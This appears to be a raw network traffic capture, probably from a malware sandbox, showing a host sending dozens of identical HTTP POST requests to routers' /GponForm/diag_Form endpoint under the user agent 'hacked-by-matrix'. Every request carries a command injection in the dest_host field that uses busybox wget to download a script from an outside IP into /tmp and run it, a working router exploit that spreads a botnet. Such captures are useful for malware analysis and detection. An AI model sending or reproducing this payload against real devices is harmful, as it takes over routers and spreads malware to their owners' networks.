Mar 2, 2024 12:37:01.876944065 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.23	43790	5.35.140.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876957893 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.23	51200	42.20.219.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.876972914 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.23	33598	79.56.207.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877012014 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.23	37476	79.138.144.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877015114 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.23	39910	79.190.124.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877049923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.23	46174	94.150.220.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877058029 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.23	39122	212.36.19.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877058029 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.23	52804	109.106.160.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877084970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.23	57350	37.155.79.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877089024 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.23	44204	212.116.74.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877115011 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.23	56024	212.23.105.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877115011 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.23	50996	5.24.8.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:01.877214909 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.23	36736	109.255.115.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888015032 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.23	56902	79.15.31.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888071060 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.23	43062	118.50.66.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888115883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.23	45992	5.227.180.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888125896 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.23	58094	212.57.117.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888128042 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.23	46846	178.172.100.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888128042 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.23	51652	178.152.55.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888145924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.23	44242	118.14.250.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888145924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.23	55184	42.212.133.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888148069 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.23	49332	94.179.241.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888192892 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.23	50284	178.230.26.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:04.888202906 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.23	59042	94.204.231.101	443

Timestamp	Bytes transferred	Direction	Data
